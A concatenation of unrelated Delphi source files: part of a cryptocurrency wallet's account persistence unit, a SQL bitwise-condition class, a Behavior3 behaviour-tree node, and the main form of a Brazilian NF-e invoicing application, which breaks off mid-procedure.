result[high(result)] := TWalletInfo(twi).utxo[i];
end;
end;
end;
end;
function Account.getSpendable(wi: TWalletInfo): BigInteger;
var
twi: cryptoCurrency;
twis: TCryptoCurrencyArray;
i: Integer;
begin
result := BigInteger.Zero;
if wi.X = -1 then
begin
result := wi.confirmed;
result := result + wi.unconfirmed;
end;
twis := getWalletWithX(wi.X, TWalletInfo(wi).coin);
for i := 0 to Length(twis) - 1 do
begin
twi := twis[i];
if not assigned(twi) then
continue;
// if not TWalletInfo(twi).inPool then Continue;
try
result := result + twi.confirmed;
result := result + twi.unconfirmed;
except
end;
end
end;
function Account.aggregateBalances(wi: TWalletInfo): TBalances;
var
twi: cryptoCurrency;
twis: TCryptoCurrencyArray;
i: Integer;
begin
if wi.X = -1 then
begin
result.confirmed := wi.confirmed;
result.unconfirmed := wi.unconfirmed;
exit();
end;
result.confirmed := BigInteger.Zero;
result.unconfirmed := BigInteger.Zero;
twis := getWalletWithX(wi.X, TWalletInfo(wi).coin);
for i := 0 to Length(twis) - 1 do
begin
twi := twis[i];
if not assigned(twi) then
continue;
// if not TWalletInfo(twi).inPool then Continue;
try
result.confirmed := result.confirmed + twi.confirmed;
result.unconfirmed := result.unconfirmed + twi.unconfirmed;
except
end;
end;
end;
function Account.getSibling(wi: TWalletInfo; Y: Integer): TWalletInfo;
var
i: Integer;
pub: AnsiString;
p: AnsiString;
begin
result := nil;
if (wi.X = -1) and (wi.Y = -1) then
begin
result := wi;
exit;
end;
for i := 0 to Length(myCoins) - 1 do
begin
if (myCoins[i].coin = wi.coin) and (myCoins[i].X = wi.X) and
(myCoins[i].Y = Y) then
begin
result := myCoins[i];
break;
end;
end;
end;
function Account.getWalletWithX(X, id: Integer): TCryptoCurrencyArray;
var
i: Integer;
begin
SetLength(result, 0);
for i := 0 to Length(myCoins) - 1 do
begin
if (myCoins[i].coin = id) and (myCoins[i].X = X) then
begin
SetLength(result, Length(result) + 1);
result[Length(result) - 1] := myCoins[i];
end;
end;
end;
constructor Account.Create(_name: AnsiString);
begin
inherited Create;
name := _name;
self.firstSync := True;
DirPath := TPath.Combine(HOME_PATH, name);
DescriptionDict := TObjectDictionary<TPair<Integer, Integer>,
AnsiString>.Create();
if not DirectoryExists(DirPath) then
CreateDir(DirPath);
// CoinFilePath := TPath.Combine(HOME_PATH, name);
CoinFilePath := TPath.Combine(DirPath, 'hodler.coin.dat');
// TokenFilePath := TPath.Combine(HOME_PATH, name);
TokenFilePath := TPath.Combine(DirPath, 'hodler.erc20.dat');
// SeedFilePath := TPath.Combine(HOME_PATH, name);
SeedFilePath := TPath.Combine(DirPath, 'hodler.masterseed.dat');
DescriptionFilePath := TPath.Combine(DirPath, 'hodler.description.dat');
// System.IOUtils.TPath.GetDownloadsPath()
SetLength(Paths, 4);
Paths[0] := CoinFilePath;
Paths[1] := TokenFilePath;
Paths[2] := SeedFilePath;
Paths[3] := DescriptionFilePath;
SetLength(myCoins, 0);
SetLength(myTokens, 0);
mutexTokenFile := TSemaphore.Create();
mutexCoinFile := TSemaphore.Create();
mutexSeedFile := TSemaphore.Create();
mutexDescriptionFile := TSemaphore.Create();
semaphore := TLightweightSemaphore.Create(8);
VerifyKeypoolSemaphore := TLightweightSemaphore.Create(8);
mutex := TSemaphore.Create();
SynchronizeThreadGuardian := ThreadKindergarten.Create();
end;
destructor Account.Destroy();
begin
{ if SyncBalanceThr <> nil then
SyncBalanceThr.Terminate;
TThread.CreateAnonymousThread(
procedure
begin
SyncBalanceThr.DisposeOf;
SyncBalanceThr := nil;
end).Start(); }
if (synchronizeThread <> nil) and (synchronizeThread.finished) then
begin
synchronizeThread.Free;
synchronizeThread := nil;
end
else if synchronizeThread <> nil then
begin
synchronizeThread.Terminate;
synchronizeThread.WaitFor;
end;
SynchronizeThreadGuardian.DisposeOf;
SynchronizeThreadGuardian := nil;
mutexTokenFile.Free;
mutexCoinFile.Free;
mutexSeedFile.Free;
mutexDescriptionFile.Free;
DescriptionDict.Free();
clearArrays();
semaphore.Free;
VerifyKeypoolSemaphore.Free;
mutex.Free;
inherited;
end;
procedure Account.SaveSeedFile();
var
ts: TstringList;
flock: TObject;
begin
mutexSeedFile.Acquire;
{ flock := TObject.Create;
TMonitor.Enter(flock); }
ts := TstringList.Create();
try
ts.Add(intToStr(TCAIterations));
ts.Add(EncryptedMasterSeed);
ts.Add(booltoStr(userSaveSeed));
ts.Add(booltoStr(privTCA));
ts.Add(booltoStr(frmhome.HideZeroWalletsCheckBox.isChecked));
ts.SaveToFile(SeedFilePath);
except
on E: Exception do
begin
end;
end;
ts.Free;
{ TMonitor.exit(flock);
flock.Free; }
mutexSeedFile.Release;
end;
procedure Account.LoadSeedFile();
var
ts: TstringList;
flock: TObject;
begin
{ flock:=TObject.Create;
TMonitor.Enter(flock); }
mutexSeedFile.Acquire;
ts := TstringList.Create();
try
ts.loadFromFile(SeedFilePath);
TCAIterations := strToIntdef(ts.Strings[0], 0);
EncryptedMasterSeed := ts.Strings[1];
userSaveSeed := strToBool(ts.Strings[2]);
if ts.Count > 4 then
begin
privTCA := strToBoolDef(ts.Strings[3], false);
hideEmpties := strToBoolDef(ts.Strings[4], false)
end
else
begin
privTCA := false;
hideEmpties := false;
end;
except
on E: Exception do
begin
end;
end;
ts.Free;
mutexSeedFile.Release;
{ TMonitor.exit(flock);
flock.Free; }
end;
function Account.countWalletBy(id: Integer): Integer;
var
ts: TstringList;
i, j: Integer;
wd: TWalletInfo;
begin
result := 0;
for wd in myCoins do
if wd.coin = id then
result := result + 1;
end;
procedure Account.clearArrays();
var
T: Token;
wd: TWalletInfo;
begin
for T in myTokens do
if T <> nil then
T.Free;
SetLength(myTokens, 0);
for wd in myCoins do
if wd <> nil then
wd.Free;
SetLength(myCoins, 0);
end;
procedure Account.AddCoin(wd: TWalletInfo);
begin
SetLength(myCoins, Length(myCoins) + 1);
myCoins[Length(myCoins) - 1] := wd;
changeDescription(wd.coin, wd.X, wd.description);
SaveCoinFile();
end;
procedure Account.AddToken(T: Token);
begin
SetLength(myTokens, Length(myTokens) + 1);
myTokens[Length(myTokens) - 1] := T;
SaveTokenFile();
end;
procedure Account.AddCoinWithoutSave(wd: TWalletInfo);
begin
SetLength(myCoins, Length(myCoins) + 1);
myCoins[Length(myCoins) - 1] := wd;
end;
procedure Account.AddTokenWithoutSave(T: Token);
begin
SetLength(myTokens, Length(myTokens) + 1);
myTokens[Length(myTokens) - 1] := T;
end;
procedure Account.LoadFiles();
var
ts: TstringList;
i: Integer;
T: Token;
flock: TObject;
begin
// flock := TObject.Create;
// TMonitor.Enter(flock);
clearArrays();
LoadSeedFile();
LoadCoinFile();
LoadTokenFile();
LoadDescriptionFile();
{$IF (DEFINED(MSWINDOWS) OR DEFINED(LINUX))}
BigQRImagePath := TPath.Combine(DirPath, hash160FromHex(EncryptedMasterSeed) +
'_' + '_BIG' + '.png');
SmallQRImagePath := TPath.Combine(DirPath, hash160FromHex(EncryptedMasterSeed)
+ '_' + '_SMALL' + '.png');
{$ELSE}
if not DirectoryExists(TPath.Combine(System.IOUtils.TPath.GetDownloadsPath(),
'hodler.tech')) then
ForceDirectories(TPath.Combine(System.IOUtils.TPath.GetDownloadsPath(),
'hodler.tech'));
BigQRImagePath := TPath.Combine
(TPath.Combine(System.IOUtils.TPath.GetDownloadsPath(), 'hodler.tech'),
name + '_' + EncryptedMasterSeed + '_' + '_ENC_QR_BIG' + '.png');
SmallQRImagePath := TPath.Combine
(TPath.Combine(System.IOUtils.TPath.GetDownloadsPath(), 'hodler.tech'),
name + '_' + EncryptedMasterSeed + '_' + '_ENC_QR_SMALL' + '.png');
{$ENDIF}
end;
procedure Account.LoadCoinFile();
var
ts: TstringList;
i: Integer;
JsonArray: TJsonArray;
coinJson: TJSONValue;
dataJson: TJSONObject;
ccData: TJSONObject;
inPool: AnsiString;
s: string;
wd: TWalletInfo;
procedure setupCoin(coinName: AnsiString; dataJson: TJSONObject);
var
wd: TWalletInfo;
nn: NanoCoin;
innerID, X, Y, address, description, creationTime, panelYPosition,
publicKey, EncryptedPrivateKey, isCompressed: AnsiString;
begin
innerID := dataJson.GetValue<string>('innerID');
X := dataJson.GetValue<string>('X');
Y := dataJson.GetValue<string>('Y');
address := dataJson.GetValue<string>('address');
description := dataJson.GetValue<string>('description');
creationTime := dataJson.GetValue<string>('creationTime');
panelYPosition := dataJson.GetValue<string>('panelYPosition');
publicKey := dataJson.GetValue<string>('publicKey');
EncryptedPrivateKey := dataJson.GetValue<string>('EncryptedPrivateKey');
isCompressed := dataJson.GetValue<string>('isCompressed');
// confirmed := dataJson.GetValue<string>('confirmed');
if coinName = 'Nano' then
begin
nn := NanoCoin.Create(strToIntdef(innerID, 0), strToIntdef(X, 0),
strToIntdef(Y, 0), string(address), string(description),
strToIntdef(creationTime, 0));
wd := TWalletInfo(nn);
end
else
wd := TWalletInfo.Create(strToIntdef(innerID, 0), strToIntdef(X, 0),
strToIntdef(Y, 0), address, description, strToIntdef(creationTime, 0));
wd.inPool := strToBoolDef(inPool, false);
wd.pub := publicKey;
wd.orderInWallet := strToIntdef(panelYPosition, 0);
wd.EncryptedPrivKey := EncryptedPrivateKey;
wd.isCompressed := strToBool(isCompressed);
wd.wid := Length(myCoins);
// coinJson.TryGetValue<TJsonObject>('CryptoCurrencyData', ccData);
if coinJson.tryGetValue<TJSONObject>('CryptoCurrencyData', ccData) then
loadCryptoCurrencyJSONData(ccData, wd);
AddCoinWithoutSave(wd);
end;
var
flock: TObject;
coinName: AnsiString;
begin
mutexCoinFile.Acquire;
{ flock := TObject.Create;
TMonitor.Enter(flock); }
if not FileExists(CoinFilePath) then
begin
mutexCoinFile.Release;
exit;
end;
ts := TstringList.Create();
ts.loadFromFile(CoinFilePath);
if ts.text[low(ts.text)] = '[' then
begin
s := ts.text;
JsonArray := TJsonArray(TJSONObject.ParseJSONValue(s));
for coinJson in JsonArray do
begin
coinName := coinJson.GetValue<String>('name');
dataJson := coinJson.GetValue<TJSONObject>('data');
inPool := '0';
try
inPool := dataJson.GetValue<string>('inPool')
except
on E: Exception do
begin
end;
// Do nothing - preKeypool .dat
end;
setupCoin(coinName, dataJson);
end;
JsonArray.Free;
end
else
begin
i := 0;
while i < ts.Count - 1 do
begin
wd := TWalletInfo.Create(strToIntdef(ts.Strings[i], 0),
strToIntdef(ts.Strings[i + 1], 0), strToIntdef(ts.Strings[i + 2], 0),
ts.Strings[i + 3], ts.Strings[i + 4], strToIntdef(ts[i + 5], 0));
wd.orderInWallet := strToIntdef(ts[i + 6], 0);
wd.pub := ts[i + 7];
wd.EncryptedPrivKey := ts[i + 8];
wd.isCompressed := strToBool(ts[i + 9]);
wd.wid := Length(myCoins);
AddCoinWithoutSave(wd);
i := i + 10;
end;
end;
// ts := TStringLIst.Create();
// ts.LoadFromFile(CoinFilePath);
ts.Free;
mutexCoinFile.Release;
{
TMonitor.exit(flock);
flock.Free; }
end;
procedure Account.LoadTokenFile();
var
ts: TstringList;
i: Integer;
T: Token;
JsonArray: TJsonArray;
tokenJson: TJSONValue;
tempJson: TJSONValue;
flock: TObject;
begin
{ flock := TObject.Create;
TMonitor.Enter(flock); }
mutexTokenFile.Acquire;
if FileExists(TokenFilePath) then
begin
ts := TstringList.Create();
ts.loadFromFile(TokenFilePath);
if ts.text[low(ts.text)] = '[' then
begin
JsonArray := TJsonArray(TJSONObject.ParseJSONValue(ts.text));
for tokenJson in JsonArray do
begin
tokenJson.tryGetValue<TJSONValue>('TokenData', tempJson);
T := Token.fromJson(tempJson);
if tokenJson.tryGetValue<TJSONValue>('CryptoCurrencyData', tempJson)
then
begin
loadCryptoCurrencyJSONData(tempJson, T);
end;
if (T.id < 10000) or (Token.availableToken[T.id - 10000].address <> '')
then // if token.address = '' token is no longer exist
AddTokenWithoutSave(T);
{
tokenJson.AddPair('name' , myTokens[i].name );
tokenJson.AddPair('TokenData' , myTokens[i].toJson );
TokenJson.AddPair('CryptoCurrencyData' , getCryptoCurrencyJsonData( myTokens[i] ) ); }
end;
JsonArray.Free;
end
else
begin
i := 0;
while i < ts.Count do
begin
// create token from single line
T := Token.fromString(ts[i]);
inc(i);
T.idInWallet := Length(myTokens) + 10000;
// histSize := strtoInt(ts[i]);
inc(i);
AddTokenWithoutSave(T);
// add new token to array myTokens
end;
end;
ts.Free;
end;
mutexTokenFile.Release;
{ TMonitor.exit(flock);
flock.Free; }
end;
procedure Account.SaveFiles();
var
ts: TstringList;
i: Integer;
fileData: AnsiString;
flock: TObject;
begin
// flock := TObject.Create;
// TMonitor.Enter(flock);
SaveSeedFile();
SaveCoinFile();
SaveTokenFile();
SaveDescriptionFile();
// TMonitor.exit(flock);
// flock.Free;
end;
procedure Account.SaveTokenFile();
var
ts: TstringList;
i: Integer;
fileData: AnsiString;
TokenArray: TJsonArray;
tokenJson: TJSONObject;
flock: TObject;
begin
mutexTokenFile.Acquire;
ts := TstringList.Create();
try
TokenArray := TJsonArray.Create();
for i := 0 to Length(myTokens) - 1 do
begin
if myTokens[i].deleted = false then
begin
tokenJson := TJSONObject.Create();
tokenJson.AddPair('name', myTokens[i].name);
tokenJson.AddPair('TokenData', myTokens[i].toJson);
tokenJson.AddPair('CryptoCurrencyData',
getCryptoCurrencyJsonData(myTokens[i]));
TokenArray.Add(tokenJson);
end;
end;
ts.text := TokenArray.ToString;
ts.SaveToFile(TokenFilePath);
TokenArray.Free;
except
on E: Exception do
begin
end;
end;
ts.Free;
mutexTokenFile.Release;
end;
procedure Account.SaveCoinFile();
var
i: Integer;
ts: TstringList;
data: TWalletInfo;
JsonArray: TJsonArray;
coinJson: TJSONObject;
dataJson: TJSONObject;
flock: TObject;
begin
{ flock := TObject.Create;
TMonitor.Enter(flock); }
mutexCoinFile.Acquire();
try
JsonArray := TJsonArray.Create();
for data in myCoins do
begin
if data.deleted then
continue;
dataJson := TJSONObject.Create();
dataJson.AddPair('innerID', intToStr(data.coin));
dataJson.AddPair('X', intToStr(data.X));
dataJson.AddPair('Y', intToStr(data.Y));
dataJson.AddPair('address', data.addr);
dataJson.AddPair('description', data.description);
dataJson.AddPair('creationTime', intToStr(data.creationTime));
dataJson.AddPair('panelYPosition', intToStr(data.orderInWallet));
dataJson.AddPair('publicKey', data.pub);
dataJson.AddPair('EncryptedPrivateKey', data.EncryptedPrivKey);
dataJson.AddPair('isCompressed', booltoStr(data.isCompressed));
dataJson.AddPair('inPool', booltoStr(data.inPool));
coinJson := TJSONObject.Create();
coinJson.AddPair('name', data.name);
coinJson.AddPair('data', dataJson);
coinJson.AddPair('CryptoCurrencyData', getCryptoCurrencyJsonData(data));
JsonArray.AddElement(coinJson);
end;
ts := TstringList.Create();
try
ts.text := JsonArray.ToString;
ts.SaveToFile(CoinFilePath);
except
on E: Exception do
begin
//
end;
end;
ts.Free;
JsonArray.Free;
except
on E: Exception do
begin
end;
end;
mutexCoinFile.Release;
{ TMonitor.exit(flock);
flock.Free; }
end;
procedure loadCryptoCurrencyJSONData(data: TJSONValue; cc: cryptoCurrency);
var
JsonObject: TJSONObject;
dataJson: TJSONObject;
JsonHistArray: TJsonArray;
HistArrayIt: TJSONValue;
confirmed, unconfirmed, rate: string;
i: Integer;
begin
if data.tryGetValue<string>('confirmed', confirmed) then
begin
BigInteger.TryParse(confirmed, 10, cc.confirmed);
end;
if data.tryGetValue<string>('unconfirmed', unconfirmed) then
begin
BigInteger.TryParse(unconfirmed, 10, cc.unconfirmed);
end;
if data.tryGetValue<string>('USDPrice', rate) then
begin
cc.rate := StrToFloatDef(rate, 0);
end;
{ if data.TryGetValue<TJsonArray>('history', JsonHistArray) then
begin
SetLength(cc.history, JsonHistArray.Count);
i := 0;
for HistArrayIt in JsonHistArray do
begin
cc.history[i].fromJsonValue(HistArrayIt);
inc(i);
end;
end; }
end;
function getCryptoCurrencyJsonData(cc: cryptoCurrency): TJSONObject;
var
JsonObject: TJSONObject;
dataJson: TJSONObject;
JsonHistArray: TJsonArray;
i: Integer;
begin
dataJson := TJSONObject.Create();
dataJson.AddPair('confirmed', cc.confirmed.ToString);
dataJson.AddPair('unconfirmed', cc.unconfirmed.ToString);
dataJson.AddPair('USDPrice', floattoStr(cc.rate));
JsonHistArray := TJsonArray.Create();
for i := 0 to Length(cc.history) - 1 do
begin
JsonHistArray.Add(TJSONObject(cc.history[i].toJsonValue()));
end;
dataJson.AddPair('history', JsonHistArray);
result := dataJson;
end;
end.
|
unit daBitwiseCondition;
// Модуль: "w:\common\components\rtl\Garant\DA\daBitwiseCondition.pas"
// Стереотип: "SimpleClass"
// Элемент модели: "TdaBitwiseCondition" MUID: (57A9AF120166)
{$Include w:\common\components\rtl\Garant\DA\daDefine.inc}
interface
uses
l3IntfUses
, daCondition
, daInterfaces
, daTypes
;
type
TdaBitwiseCondition = class(TdaCondition, IdaFieldFromTable, IdaBitwiseCondition)
private
f_TableAlias: AnsiString;
f_Field: IdaFieldDescription;
f_Operator: TdaBitwiseOperator;
f_Value: Int64;
protected
function Get_TableAlias: AnsiString;
function Get_Field: IdaFieldDescription;
function DoBuildSQL(const aHelper: IdaParamListHelper): AnsiString; override;
procedure Cleanup; override;
{* Функция очистки полей объекта. }
public
constructor Create(const aTableAlias: AnsiString;
const aField: IdaFieldDescription;
anOperation: TdaBitwiseOperator;
aValue: Int64); reintroduce;
class function Make(const aTableAlias: AnsiString;
const aField: IdaFieldDescription;
anOperation: TdaBitwiseOperator;
aValue: Int64): IdaCondition; reintroduce;
end;//TdaBitwiseCondition
implementation
uses
l3ImplUses
//#UC START# *57A9AF120166impl_uses*
, SysUtils
//#UC END# *57A9AF120166impl_uses*
;
constructor TdaBitwiseCondition.Create(const aTableAlias: AnsiString;
const aField: IdaFieldDescription;
anOperation: TdaBitwiseOperator;
aValue: Int64);
//#UC START# *57A9AF460222_57A9AF120166_var*
//#UC END# *57A9AF460222_57A9AF120166_var*
begin
//#UC START# *57A9AF460222_57A9AF120166_impl*
Assert(aField.DataType in da_dtIntegers);
inherited Create;
f_TableAlias := aTableAlias;
f_Field := aField;
f_Operator := anOperation;
f_Value := aValue;
//#UC END# *57A9AF460222_57A9AF120166_impl*
end;//TdaBitwiseCondition.Create
class function TdaBitwiseCondition.Make(const aTableAlias: AnsiString;
const aField: IdaFieldDescription;
anOperation: TdaBitwiseOperator;
aValue: Int64): IdaCondition;
var
l_Inst : TdaBitwiseCondition;
begin
l_Inst := Create(aTableAlias, aField, anOperation, aValue);
try
Result := l_Inst;
finally
l_Inst.Free;
end;//try..finally
end;//TdaBitwiseCondition.Make
function TdaBitwiseCondition.Get_TableAlias: AnsiString;
//#UC START# *555351D702B3_57A9AF120166get_var*
//#UC END# *555351D702B3_57A9AF120166get_var*
begin
//#UC START# *555351D702B3_57A9AF120166get_impl*
Result := f_TableAlias;
//#UC END# *555351D702B3_57A9AF120166get_impl*
end;//TdaBitwiseCondition.Get_TableAlias
function TdaBitwiseCondition.Get_Field: IdaFieldDescription;
//#UC START# *555351F500BC_57A9AF120166get_var*
//#UC END# *555351F500BC_57A9AF120166get_var*
begin
//#UC START# *555351F500BC_57A9AF120166get_impl*
Result := f_Field;
//#UC END# *555351F500BC_57A9AF120166get_impl*
end;//TdaBitwiseCondition.Get_Field
function TdaBitwiseCondition.DoBuildSQL(const aHelper: IdaParamListHelper): AnsiString;
//#UC START# *56408E7F01A1_57A9AF120166_var*
const
cMap: array [TdaBitwiseOperator] of String = (
'&', // da_bwAnd
'|' // da_bwOr
);
//#UC END# *56408E7F01A1_57A9AF120166_var*
begin
//#UC START# *56408E7F01A1_57A9AF120166_impl*
if f_TableAlias <> '' then
Result := Format('%s.%s', [f_TableAlias, f_Field.SQLName])
else
Result := f_Field.SQLName;
Result := Format('%s %s %s', [Result, cMap[f_Operator], IntToStr(f_Value)]);
//#UC END# *56408E7F01A1_57A9AF120166_impl*
end;//TdaBitwiseCondition.DoBuildSQL
procedure TdaBitwiseCondition.Cleanup;
{* Функция очистки полей объекта. }
//#UC START# *479731C50290_57A9AF120166_var*
//#UC END# *479731C50290_57A9AF120166_var*
begin
//#UC START# *479731C50290_57A9AF120166_impl*
f_Field := nil;
inherited;
//#UC END# *479731C50290_57A9AF120166_impl*
end;//TdaBitwiseCondition.Cleanup
end.
|
{ behavior3delphi - a Behavior3 client library (Behavior Trees) for Delphi
by Dennis D. Spreen <dennis@spreendigital.de>
see Behavior3.pas header for full license information }
unit Behavior3.Composites.MemPriority;
interface
uses
Behavior3, Behavior3.Core.Composite, Behavior3.Core.BaseNode, Behavior3.Core.Tick;
type
(**
* MemPriority is similar to Priority node, but when a child returns a
* `RUNNING` state, its index is recorded and in the next tick the,
* MemPriority calls the child recorded directly, without calling previous
* children again.
*
* @module b3
* @class MemPriority
* @extends Composite
**)
TB3MemPriority = class(TB3Composite)
private
protected
public
constructor Create; override;
(**
* Open method.
* @method open
* @param {b3.Tick} tick A tick instance.
**)
procedure Open(Tick: TB3Tick); override;
(**
* Tick method.
* @method tick
* @param {Tick} tick A tick instance.
* @return {Constant} A state constant.
**)
function Tick(Tick: TB3Tick): TB3Status; override;
end;
implementation
{ TB3MemPriority }
uses
Behavior3.Helper, Behavior3.Core.BehaviorTree;
constructor TB3MemPriority.Create;
begin
inherited;
(**
* Node name. Default to `MemPriority`.
* @property {String} name
* @readonly
**)
Name := 'MemPriority';
end;
procedure TB3MemPriority.Open(Tick: TB3Tick);
begin
Tick.Blackboard.&Set('runningChild', 0, Tick.Tree.Id, Id);
end;
function TB3MemPriority.Tick(Tick: TB3Tick): TB3Status;
var
Child: Integer;
I: Integer;
Status: TB3Status;
begin
Child := Tick.Blackboard.Get('runningChild', Tick.Tree.id, Id).AsInteger;
for I := Child to Children.Count - 1 do
begin
Status := Children[I]._Execute(Tick);
if Status <> Behavior3.Failure then
begin
if Status = Behavior3.Running then
Tick.Blackboard.&Set('runningChild', I, Tick.Tree.id, Id);
Result := Status;
Exit;
end;
end;
Result := Behavior3.Failure;
end;
end.
|
unit uFrmPlusPdvNfe;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ComCtrls, ActnList, Menus, ExtCtrls, Wcrypt2, Buttons, ImgList,
jpeg;
type
TFrmMainNFe = class(TForm)
StatusBar1: TStatusBar;
mmPrincipal: TMainMenu;
mnuMovimento: TMenuItem;
ActionList1: TActionList;
actEmissaoNFe: TAction;
actGerenciamento: TAction;
actSair: TAction;
EmissaodeNFe1: TMenuItem;
Gerenciamento1: TMenuItem;
N1: TMenuItem;
Sair1: TMenuItem;
mnuAjuda: TMenuItem;
Sobre1: TMenuItem;
N2: TMenuItem;
actConfig: TAction;
Configuraes1: TMenuItem;
Panel1: TPanel;
spEmissao: TSpeedButton;
sbGerenciamento: TSpeedButton;
spSair: TSpeedButton;
ImageList1: TImageList;
Image1: TImage;
actSobre: TAction;
procedure FormShow(Sender: TObject);
procedure actSairExecute(Sender: TObject);
procedure actEmissaoNFeExecute(Sender: TObject);
procedure actGerenciamentoExecute(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
procedure FormResize(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure actConfigExecute(Sender: TObject);
procedure actSobreExecute(Sender: TObject);
private
{ Private declarations }
Procedure Image_Logo;
procedure SetJustify(Menu: TMenu; MenuItem: TMenuItem; Justify: Byte);
public
{ Public declarations }
function MD5(const Input: string): string;
Procedure AtualizarAmbienteNFe();
end;
var
FrmMainNFe: TFrmMainNFe;
idEmpresa, idUsuario, iCodRegimeTributario : Integer;
aImageLogo, aImageRelatorios : String;
implementation
uses uFuncoes, udmDados, uFrmNFENew, uFrmGerenciarNotas, uFrmConfig,
uSobreNFe;
{$R *.dfm}
procedure TFrmMainNFe.FormShow(Sender: TObject);
begin
sbGerenciamento.Caption := '';
spEmissao.Caption := '';
spSair.Caption := '';
//
dmDados.FilterCDS(dmDados.cdsUsuario, fsInteger, Inttostr(idUsuario));
if not (dmDados.cdsUsuario.IsEmpty) Then
StatusBar1.Panels[0].Text := uFuncoes.StrZero(Inttostr(idUsuario),3)+' :: '+dmDados.cdsUsuarionome.AsString
Else
StatusBar1.Panels[0].Text := '';
//
AtualizarAmbienteNFe;
//
dmDados.FilterCDS(dmDados.cdsEmpresa, fsInteger, Inttostr(idEmpresa));
if not (dmDados.cdsEmpresa.IsEmpty) Then
StatusBar1.Panels[1].Text := 'CNPJ: '+uFuncoes.FormataCNPJ(dmDados.cdsEmpresacnpj.AsString)+' :: '+dmDados.cdsEmpresarazao_social.AsString
Else
StatusBar1.Panels[1].Text := '';
end;
procedure TFrmMainNFe.actSairExecute(Sender: TObject);
begin
If Application.MessageBox('Sair do Sistema?',
'ATENÇÃO', MB_YESNO+MB_ICONQUESTION+MB_DEFBUTTON2+MB_APPLMODAL) = idYes then
Application.Terminate;
end;
procedure TFrmMainNFe.actEmissaoNFeExecute(Sender: TObject);
begin
dmDados.FilterCDS(dmDados.cdsEmpresa, fsInteger, InttoStr(uFrmPlusPdvNfe.idEmpresa));
if (dmDados.cdsEmpresa.IsEmpty) Then
begin
Application.MessageBox(PChar('Usuário não está associado a nenhuma empresa.'+#13
+'Vá para cadastro de usuário para associar este usuário.'),
'ATENÇÃO', MB_OK+MB_ICONWARNING+MB_APPLMODAL);
Exit;
End;
//
AtualizarAmbienteNFe;
//
Application.CreateForm(TFrmNotaFiscalEletronicaNovo, FrmNotaFiscalEletronicaNovo);
Try
FrmNotaFiscalEletronicaNovo.ShowModal;
Finally
FrmNotaFiscalEletronicaNovo.Free;
End;
end;
procedure TFrmMainNFe.actGerenciamentoExecute(Sender: TObject);
begin
if not (dmDados.VerificaDadosCertificado()) Then
begin
Application.MessageBox(PChar('Campo Número de série do certificado digital'+#13
+'está vazio, por favor cadastre o número de '+#13
+'série do certificado.'),
'ATENÇÃO', MB_OK+MB_ICONWARNING+MB_APPLMODAL );
actConfigExecute(Sender);
Exit;
End;
//
AtualizarAmbienteNFe;
//
Application.CreateForm(TFrmGerenciarNotas, FrmGerenciarNotas);
Try
FrmGerenciarNotas.ShowModal;
Finally
FrmGerenciarNotas.Free;
End;
end;
procedure TFrmMainNFe.FormCloseQuery(Sender: TObject;
var CanClose: Boolean);
begin
If Application.MessageBox('Sair do Sistema?',
'ATENÇÃO', MB_YESNO+MB_ICONQUESTION+MB_DEFBUTTON2+MB_APPLMODAL) = idNo then
Canclose := False;
end;
function TFrmMainNFe.MD5(const Input: string): string;
var
hCryptProvider: HCRYPTPROV;
hHash: HCRYPTHASH;
bHash: array[0..$7f] of Byte;
dwHashLen: DWORD;
pbContent: PByte;
i: Integer;
begin
dwHashLen := 16;
pbContent := Pointer(PChar(Input));
Result := '';
if CryptAcquireContext(@hCryptProvider, nil, nil, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT or CRYPT_MACHINE_KEYSET) then
begin
if CryptCreateHash(hCryptProvider, CALG_MD5, 0, 0, @hHash) then
begin
if CryptHashData(hHash, pbContent, Length(Input), 0) then
begin
if CryptGetHashParam(hHash, HP_HASHVAL, @bHash[0], @dwHashLen, 0) then
begin
for i := 0 to dwHashLen - 1 do
begin
Result := Result + Format('%.2x', [bHash[i]]);
end;
end;
end;
CryptDestroyHash(hHash);
end;
CryptReleaseContext(hCryptProvider, 0);
end;
Result := AnsiLowerCase(Result);
end;
procedure TFrmMainNFe.FormResize(Sender: TObject);
begin
Image1.Left := (FrmMainNFe.Width Div 2) - (Image1.Width Div 2);
Image1.Top := (FrmMainNFe.Height Div 2) - (Image1.Height Div 2 + StatusBar1.Height);
end;
procedure TFrmMainNFe.FormCreate(Sender: TObject);
begin
ShortDateFormat := 'dd/mm/yyyy';
Image1.Left := (FrmMainNFe.Width Div 2) - (Image1.Width Div 2);
Image1.Top := (FrmMainNFe.Height Div 2) - (Image1.Height Div 2 + StatusBar1.Height);
//
SetJustify(mmPrincipal,mnuAjuda,1);
//
aImageLogo := '';
aImageRelatorios := '';
If FileExists(ExtractFilePath( Application.ExeName )+'logo.bmp') Then
aImageLogo := ExtractFilePath( Application.ExeName )+'logo.bmp';
If FileExists(ExtractFilePath( Application.ExeName )+'logo2.bmp') Then
aImageRelatorios := ExtractFilePath( Application.ExeName )+'logo2.bmp';
end;
procedure TFrmMainNFe.Image_Logo;
begin
end;
procedure TFrmMainNFe.SetJustify(Menu: TMenu; MenuItem: TMenuItem;
Justify: Byte);
var
ItemInfo: TMenuItemInfo;
Buffer: array[0..80] of Char;
begin
ItemInfo.cbSize := SizeOf(TMenuItemInfo);
ItemInfo.fMask := MIIM_TYPE;
ItemInfo.dwTypeData := Buffer;
ItemInfo.cch := SizeOf(Buffer);
//
GetMenuItemInfo(Menu.Handle, MenuItem.Command, False, ItemInfo);
if Justify = 1 then
ItemInfo.fType := ItemInfo.fType or MFT_RIGHTJUSTIFY;
SetMenuItemInfo(Menu.Handle, MenuItem.Command, False, ItemInfo);
end;
procedure TFrmMainNFe.actConfigExecute(Sender: TObject);
begin
dmDados.FilterCDS(dmDados.cdsEmpresa, fsInteger, InttoStr(uFrmPlusPdvNfe.idEmpresa));
if (dmDados.cdsEmpresa.IsEmpty) Then
begin
Application.MessageBox(PChar('Usuário não está associado a nenhuma empresa.'+#13
+'Vá para cadastro de usuário para associar este usuário.'),
'ATENÇÃO', MB_OK+MB_ICONWARNING+MB_APPLMODAL);
Exit;
End;
Application.CreateForm(TFrmConfig, FrmConfig);
Try
FrmConfig.ShowModal;
Finally
FrmConfig.Free;
End;
//
AtualizarAmbienteNFe;
end;
procedure TFrmMainNFe.AtualizarAmbienteNFe;
begin
dmDados.FilterCDS(dmDados.cdsEmpresa, fsInteger, InttoStr(idEmpresa));
if not (dmDados.cdsEmpresa.IsEmpty) Then
